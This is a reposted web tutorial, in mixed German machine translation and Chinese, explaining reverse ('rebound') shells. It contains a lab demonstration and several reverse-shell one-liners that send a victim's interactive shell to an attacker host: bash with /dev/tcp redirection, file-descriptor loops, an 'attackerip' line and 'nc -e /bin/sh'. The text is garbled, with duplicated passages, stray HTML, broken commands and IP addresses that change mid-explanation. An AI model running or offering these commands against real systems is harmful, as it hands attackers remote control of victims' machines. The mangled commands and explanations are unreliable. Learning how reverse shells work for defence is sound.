Heim >Betrieb und Instandhaltung >Sicherheit >Was bedeutet Rebound-Shell?

Was bedeutet Rebound-Shell?

王林
王林nach vorne
2023-05-11 16:25:206837Durchsuche

* Feierliche Erklärung: Dieser Artikel ist auf technische Diskussionen und Weitergabe beschränkt und die Verwendung auf illegale Weise ist strengstens untersagt.

0x00 Vorwort

Rebound shell bedeutet, dass das Kontrollende einen bestimmten TCP/UDP-Port abhört und das kontrollierte Ende eine Anfrage an den Port initiiert und diese sendet Befehlszeileneingabe und -ausgabe gehen an die Steuerungsseite. shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

通俗点说,反弹shell就是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。

为什么要反弹shell? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,sshtelnet等等,都是正向连接。

那么什么情况下正向连接不太好用了呢:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹shell

0x01 反弹shell演示

我们用bash远程代码执行漏洞实例来了解一下他的原理

攻击端:10.100.40.5 受害机:192.168.197.136

首先我们需要在攻击端去监听端口,通过这个端口来接收受害机反弹的shell
在攻击端输入命令nc -l 2333

Was bedeutet Rebound-Shell?

然后在受害机执行命令

bash -i >& /dev/tcp/10.100.40.5/2333 0>&1

Was bedeutet Rebound-Shell?

我们就发现,在我们的攻击端已经成功出现了我们的受害端的shell,在我们的攻击端就能对受害端来进行下一步操作

Was bedeutet Rebound-Shell?

例如:

Was bedeutet Rebound-Shell?

0x02 原理

2.1 反弹shell的命令原理

(1)bash -i

bashlinux的一个比较常见的shell,是许多Linux发行版的默认Shell
-i这个参数的意思是产生交互式的shell

(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:

Was bedeutet Rebound-Shell?

(3) 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

我们输出字符到/dev/tcp这个文件中

受害端:

Was bedeutet Rebound-Shell?

攻击端:

Was bedeutet Rebound-Shell?

(4) 下面我们在看将输出转移到到受害端,在攻击端继续监听2333端口,并且在攻击端输入内容回车就会出现在受害端。

Was bedeutet Rebound-Shell?

Was bedeutet Rebound-Shell?

(5)这样思路就比较清晰了,下面再说交互重定向:

为了实现交互,我们需要把受害者交互式shell

Laienhaft ausgedrückt ist Rebound shell eine Art Rückwärtslink, der sich von Forward ssh unterscheidet. Es handelt sich um einen Angriff, der Befehle auf dem Computer der anderen Partei ausführt, um eine Verbindung herzustellen auf unserer Seite, und dieser Angriffsmodus muss mit einer Sicherheitslücke bei der Remote-Befehlsausführung verwendet werden.

Warum Rebound shell? Es wird normalerweise verwendet, wenn das kontrollierte Ende durch eine Firewall eingeschränkt ist, keine Berechtigungen vorhanden sind und der Port belegt ist.

Angenommen, wir greifen eine Maschine an und öffnen einen Port auf der Maschine. Dies ist eine konventionellere Form. Remote-Desktop, Web-Dienst, ssh, telnet usw. sind alles Vorwärtsverbindungen.

Was bedeutet Rebound-Shell?Unter welchen Umständen ist die Vorwärtsverbindung nicht einfach zu verwenden:

🎜1. Ein Client hat Ihr Netzwerkpferd getroffen, aber es befindet sich im LAN und Sie können keine direkte Verbindung herstellen. 🎜🎜2. Seine ip ändert sich dynamisch und Sie können ihn nicht kontinuierlich steuern. 🎜🎜3. Aufgrund von Einschränkungen wie Firewalls kann der andere Computer nur Anfragen senden, aber keine Anfragen empfangen. 🎜🎜4. Es ist nicht bekannt, wann das Opfer mit Viren oder Trojanern infiziert wird, wie die Netzwerkumgebung der anderen Partei aussieht und wann der Computer ein- und ausgeschaltet werden muss. Daher ist es am besten, einen Server einzurichten und Schadprogramme zuzulassen sich aktiv zu vernetzen. 🎜
🎜Dann ist Rebound leicht zu verstehen. Der Angreifer gibt den Server an und der Host des Opfers stellt eine aktive Verbindung zum Serverprogramm des Angreifers her, das als Rebound shell bezeichnet wird. 🎜🎜0x01 Rebound-Shell-Demonstration🎜🎜Wir verwenden das Beispiel einer bash-Sicherheitslücke bei Remotecodeausführung, um das Prinzip zu verstehen🎜
🎜Angriffsende: 10.100.40.5 Opfermaschine: 192.168.197.136🎜 blockquote >🎜Zuerst müssen wir den Port auf der Angriffsseite abhören und diesen Port verwenden, um die vom Opfercomputer zurückgesendete Shell
zu empfangen. Geben Sie den Befehl nc -l 2333 ein am Angriffsende. 🎜🎜Was bedeutet Rebound-Shell🎜🎜Dann führen Sie den Befehl auf dem Opfercomputer aus 🎜
bash -i > /dev/tcp 10.100.40.5/2333
🎜Was bewirkt Rebound Shell bedeuten🎜🎜Wir haben festgestellt, dass auf unserer Angriffsseite die Shell unserer Opferseite erfolgreich angezeigt wurde und wir den nächsten Schritt auf der Opferseite auf unserer Angriffsseite ausführen können🎜🎜Was bedeutet Rebound-Shell🎜🎜Zum Beispiel: 🎜🎜Was bedeutet Rebound-Shell🎜🎜0x02 Prinzip🎜

2.1 Prinzip des Befehls der Rebound-Shell

🎜(1)bash -i🎜🎜bash ist eine gängige Shell von linux und ist Wird von der Standard-Shell vieler Linux-Distributionen verwendet.
-iDieser Parameter bedeutet, eine interaktive Shell🎜🎜(2)./dev/tcp/ip/port/dev/tcp|udp/ip/portDiese Datei ist etwas ganz Besonderes. Tatsächlich kann sie als Gerät betrachtet werden (alles unter Linux-Datei). Wenn Sie auf den Speicherort dieser Datei zugreifen, ist sie tatsächlich nicht vorhanden, wie unten gezeigt: 🎜🎜Was bedeutet Rebound-Shell🎜🎜(3) Wenn Sie diese Datei jedoch lesen und schreiben, während eine Partei den Port abhört, können Sie socketerreichen, während der Server abhört der Port. >Kommunikation🎜🎜Wir geben Zeichen in die Datei /dev/tcp🎜🎜Victim Ende:🎜🎜Was bedeutet Rebound-Shell🎜🎜Angriffsende: 🎜🎜Was bedeutet Rebound-Shell🎜🎜(4) Als nächstes schauen wir uns die Übertragung der Ausgabe an das Opferende an und hören weiterhin auf den 2333 Port auf der Angriffsseite und wenn der Angreifer den Inhalt eingibt und die Eingabetaste drückt, wird er auf der Opferseite angezeigt. 🎜🎜Was bedeutet Rebound-Shell🎜🎜Was bedeutet Rebound-Shell🎜🎜(5) Auf diese Weise wird die Idee klarer, lasst uns darüber reden die Interaktion unten Richtung: 🎜🎜Um eine Interaktion zu erreichen, müssen wir die Ausgabe der interaktiven Shell an die Angriffsmaschine umleiten. 🎜🎜Auf der Opfermaschine eingeben: 🎜
bash -i 🎜Dann finden wir Unabhängig davon, welcher Befehl eingegeben wird, wird kein Echo angezeigt und die Standardausgabe des Angriffsendes wird an das Angriffsende weitergeleitet. 🎜🎜🎜🎜<p><img src="https://img.php.cn/upload/article/000/465/014/168379352250437.jpg" alt="Was bedeutet Rebound-Shell?"></p><p>这样只是回显而已,并没有办法在攻击端直接执行命令。</p><p>(6)所以我们还需要将攻击者输入的指令输入给受害者的<code>bash</code>:</p><pre class="brush:php;toolbar:false">bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" alt="Was bedeutet Rebound-Shell?"></p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" alt="Was bedeutet Rebound-Shell?"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1

受害端:

Was bedeutet Rebound-Shell?

攻击端:

Was bedeutet Rebound-Shell?

我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :

bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1

这样命令就不会回显到受害端了。

Was bedeutet Rebound-Shell?

就算是错误输出也会输出到攻击端,这样就达到了我们的目的。

Was bedeutet Rebound-Shell?

2.2 常见反弹shell方法

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&amp1;done
0/dev/tcp/attackerip/4444; sh &196 2>&196

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333

Das obige ist der detaillierte Inhalt vonWas bedeutet Rebound-Shell?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen